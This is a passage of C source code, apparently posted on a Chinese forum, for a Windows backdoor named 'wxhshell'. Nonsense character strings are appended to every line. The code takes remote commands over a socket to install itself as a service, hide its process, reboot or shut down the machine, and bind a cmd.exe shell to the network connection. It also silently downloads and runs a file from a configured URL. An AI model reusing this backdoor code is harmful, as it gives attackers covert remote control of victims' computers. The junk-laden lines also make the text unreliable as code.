  else 7i=ER*F~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wx8 cK=  
  } k$,y1hH;f8  
  else { `y1,VY  
@d ^MaXp_P  
    switch(cmd[0]) { H_l>L9/\  
  B+'w'e$6  
  // 帮助 Lf Y[Z4  
  case '?': { "?J f#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); grDz7\i:  
    break; z-nV!#  
  } /DSy/p0%  
  // 安装 RS7J~Q  
  case 'i': { Vl:M6d1  
    if(Install()) (g tOYEqx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MR* % lZpB  
    else oTpoh]|[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !U1V('   
    break; J=#9eW  
    } ^$8WV&5q>  
  // 卸载 tkHUX!Ow;  
  case 'r': { 52*KRq o  
    if(Uninstall()) r"lh\C|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{x`K4N  
    else u3PM 7z!~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZgzYXh2  
    break; z)*\njYe  
    } 1| xKb (_l  
  // 显示 wxhshell 所在路径 OJLyqncw  
  case 'p': { A+hT2Ew@t}  
    char svExeFile[MAX_PATH]; &([Gc+"5E.  
    strcpy(svExeFile,"\n\r"); wY7+E/  
      strcat(svExeFile,ExeFile); 3cFvS[JG  
        send(wsh,svExeFile,strlen(svExeFile),0); :XO7#P  
    break; c{/KkmI  
    } ;:Y/"5h  
  // 重启 :*Z@UY   
  case 'b': { 8WG_4e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1[". z{V3*  
    if(Boot(REBOOT)) 4 ..V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9kas]zQ%=P  
    else { 2-wgbC5  
    closesocket(wsh); 6c[ L*1  
    ExitThread(0); Nbm$ta  
    } PE+{<[n  
    break; ;BEX|w xn  
    } sO&eV68 [  
  // 关机 .wuRT>4G)G  
  case 'd': { 7"k\i=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I#CS;Yh95  
    if(Boot(SHUTDOWN)) rGSi !q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Xun>0  
    else { !p 70g0+  
    closesocket(wsh); xb^M33-y  
    ExitThread(0); E._/PB  
    } fH_Xm :%  
    break; I8:G:s:  
    } lp]q%P  
  // 获取shell dcN4N5r  
  case 's': { pR~"p#Y  
    CmdShell(wsh); 2ZQ|nwb7  
    closesocket(wsh); { *Wc`ZBY  
    ExitThread(0); qo}u(p Oj|  
    break; l,E4h-$  
  } S2 YxA  
  // 退出 ']vMOGG  
  case 'x': { d|$-l:(J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +PHuQ  
    CloseIt(wsh); _dn*H-5hO  
    break; boIFN;Aq"  
    } q%Lw#f  
  // 离开 <``krPi  
  case 'q': { H~ =;yy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4' <y  
    closesocket(wsh); C3 (PI,,  
    WSACleanup(); BlfW~l'mx  
    exit(1); c *Pt;m  
    break; 5ZHO+@HiFH  
        } cN#f$  
  } 9B1bq#  
  } [AAIBb +U  
@S  Quc  
  // 提示信息 Y/34~lhyl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Nz S<  
} #4?:4Im#  
  } U{-[lpd  
c}#(,<8X  
  return; qk\LfRbj  
} ig:z[k?  
]"\XTL0  
// shell模块句柄 3- 4jSN\  
int CmdShell(SOCKET sock) yI*h"?7T  
{ ^p #bxN")  
STARTUPINFO si;  1O@ cev;  
ZeroMemory(&si,sizeof(si)); hHqsI`7c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~=pyA#VVJ"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bd*\|M  
PROCESS_INFORMATION ProcessInfo; Fk&A2C}$b  
char cmdline[]="cmd"; ZY> u4v.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;F>I+l_X  
  return 0; Y]HtO^T2  
} 0:k MnHn\  
0XrOOYmx  
// 自身启动模式 ))#_@CwRr  
int StartFromService(void) *XqS~G  
{ %Wb$qpa  
typedef struct / , .rUn1  
{ )]m_ L$9  
  DWORD ExitStatus; :X- \!w\  
  DWORD PebBaseAddress; #.~lt8F  
  DWORD AffinityMask; VufG7%S{  
  DWORD BasePriority; .[X"+i\  
  ULONG UniqueProcessId; 3O'X;s2\d  
  ULONG InheritedFromUniqueProcessId; U7Pn $l2!  
}   PROCESS_BASIC_INFORMATION; 97SG;,6  
!fG`xZ~  
PROCNTQSIP NtQueryInformationProcess; V@1K  
>oc&hT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v`u>; S_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7)v`l1  
q e;O Ox  
  HANDLE             hProcess; kn7Qvk[+  
  PROCESS_BASIC_INFORMATION pbi; e!*%U= [Q  
D z5(v1I9A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3` \)Qm  
  if(NULL == hInst ) return 0; X+k`UM~  
s2\6\8Ipn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H3" D$Nv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .FAuM~_99b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6dX l ny1H  
h2Jdcr#@FF  
  if (!NtQueryInformationProcess) return 0; DYvg^b  
4xNzhnp|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O\qY? )  
  if(!hProcess) return 0; HA%r:Px  
QCk(qlN'h9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z8_Q Kw>  
x<e-%HB*-  
  CloseHandle(hProcess); .TWX,#  
mdD9Q N01  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )VCRbz"[g  
if(hProcess==NULL) return 0; H(Q|qckj  
w*s#=]6  
HMODULE hMod; #pw=HHq*(  
char procName[255]; ( -rw]=Qu  
unsigned long cbNeeded; -}2e+DyAy  
* E3 c--  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K=C).5=U  
z@S39Xp==  
  CloseHandle(hProcess); j{a3AEmps  
)IP{yL8c  
if(strstr(procName,"services")) return 1; // 以服务启动 Sk,9<@  
8q& *tpE  
  return 0; // 注册表启动 /!Kl  
} 7Y(ySW  
L]HYk}oD.  
// 主模块 tqo!WuZAj  
int StartWxhshell(LPSTR lpCmdLine) Z'sO9Sg8>  
{ ?*8HZ1m#  
  SOCKET wsl; 5Pl~du  
BOOL val=TRUE; O6pL )6d  
  int port=0; nob^ I5?  
  struct sockaddr_in door; [,fdNxc8  
&$</|F)y  
  if(wscfg.ws_autoins) Install(); 5U/1Z{  
f~D> *<L4-  
port=atoi(lpCmdLine); #GHLF  
8QGj:3  
if(port<=0) port=wscfg.ws_port; 'qg q8  
D;0xROW8{  
  WSADATA data; O/=i'0X v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [oQ&}3\XJ  
Rl"" aZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :J}@*>c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8HLcDS#  
  door.sin_family = AF_INET; 7E9h!<5v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .1F^=C.w  
  door.sin_port = htons(port); 8\^[@9g3\3  
=Gq 'sy:h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k(;c<Z{?1  
closesocket(wsl); ^f,('0p- >  
return 1; uvrfR?%QK  
} 1=t\|Th-  
ZkJYPXdn?  
  if(listen(wsl,2) == INVALID_SOCKET) { jF\J+:5M  
closesocket(wsl); SAEr$F^  
return 1; &n:F])`2  
} SdfrLdi}Y  
  Wxhshell(wsl); ]{[VTjC7rY  
  WSACleanup(); Z<#beT6  
.#b!#   
return 0; $bU|'}QR  
t'EH_ U  
} &:` 7  
^E7>!Lbvx  
// 以NT服务方式启动 ?)cNe:KY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $[Fh|%\  
{ ntSPHK|'  
DWORD   status = 0; F=hfbCF5x  
  DWORD   specificError = 0xfffffff; uj-q@IKe  
-hP@L ++D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; khb Gyg%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X3:-+]6,d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j]"Yz t~u  
  serviceStatus.dwWin32ExitCode     = 0; UP]J `\$o  
  serviceStatus.dwServiceSpecificExitCode = 0; m GWT</=[$  
  serviceStatus.dwCheckPoint       = 0; PaEsz$mgy  
  serviceStatus.dwWaitHint       = 0; t _Q/v  
x=qACoq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jBEt!Azur  
  if (hServiceStatusHandle==0) return; XRI1/2YA  
kl|KFdA;  
status = GetLastError(); !o 7uZC\  
  if (status!=NO_ERROR) .JpYZ |  
{ BcT|TX+ct  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Ly?XNS  
    serviceStatus.dwCheckPoint       = 0; NdQXQa?,  
    serviceStatus.dwWaitHint       = 0; H3.WAg[`  
    serviceStatus.dwWin32ExitCode     = status; $2^V#GWo  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Df|D/,WE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!i0ioZzi0  
    return; I@ch 5vl4  
  } (*%+!PS  
'lv\I9"S)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,h1r6&MEY  
  serviceStatus.dwCheckPoint       = 0; S&V5zB""n  
  serviceStatus.dwWaitHint       = 0; z1LATy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cJm!3X  
} eR8qO"%2:  
;sa-Bh=j^  
// 处理NT服务事件,比如:启动、停止 1H @GwQ|<=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5jg^12EP  
{ @)m+O#a  
switch(fdwControl) $xS `i-|  
{ Vd|5JA}<"  
case SERVICE_CONTROL_STOP: X63DBF4A  
  serviceStatus.dwWin32ExitCode = 0; >U9!KB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LIVVb"V|,  
  serviceStatus.dwCheckPoint   = 0; /PIU@$DV  
  serviceStatus.dwWaitHint     = 0; A"C%.InZ  
  { :f^O!^N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1` m ~c  
  } yaA9* k  
  return; 5in6Y5ckj  
case SERVICE_CONTROL_PAUSE: wLU w'Ai  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^<<( }3  
  break; [(`T*c.#.X  
case SERVICE_CONTROL_CONTINUE: d?&?$qf[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q!<`ci,uS  
  break; R6)p4#|i  
case SERVICE_CONTROL_INTERROGATE: $RKd@5XP  
  break; &tQ,2RT  
}; cCU'~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OR( )D~:n  
} }<&g1x'pa  
Qkk~{OuC  
// 标准应用程序主函数 :H\6wJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z0HCmj9T  
{ mw`%xID*  
\J-O b  
// 获取操作系统版本 r#]gAG4t\  
OsIsNt=GetOsVer(); uHQJ&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 42Vy#t/HC  
*s?&)][  
  // 从命令行安装 8{JTR|yB  
  if(strpbrk(lpCmdLine,"iI")) Install(); *H&a_s/{Nb  
Y.i<7pBt  
  // 下载执行文件 KE16BjX@  
if(wscfg.ws_downexe) { ; ZL<7tLDb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =}r&>|rrJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); QKZm<lUL  
} "a`0s_F,^  
JO7IzD\  
if(!OsIsNt) { BaiC;&(   
// 如果时win9x,隐藏进程并且设置为注册表启动 YT, 1E>rd  
HideProc(); >H5BY9]I  
StartWxhshell(lpCmdLine); 0tn5>Dsk  
} n4k. tq  
else 8o4<F%ot  
  if(StartFromService()) F!`.y7hY@  
  // 以服务方式启动 g=b[V   
  StartServiceCtrlDispatcher(DispatchTable); $|6Le; K  
else cdP+X'Y4D  
  // 普通方式启动 @'R4zJ&+S  
  StartWxhshell(lpCmdLine); Y: KB"H  
\E?1bc{\f  
return 0; O`t ]#  
}
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只看该作者 1 发表于: 2006-10-10
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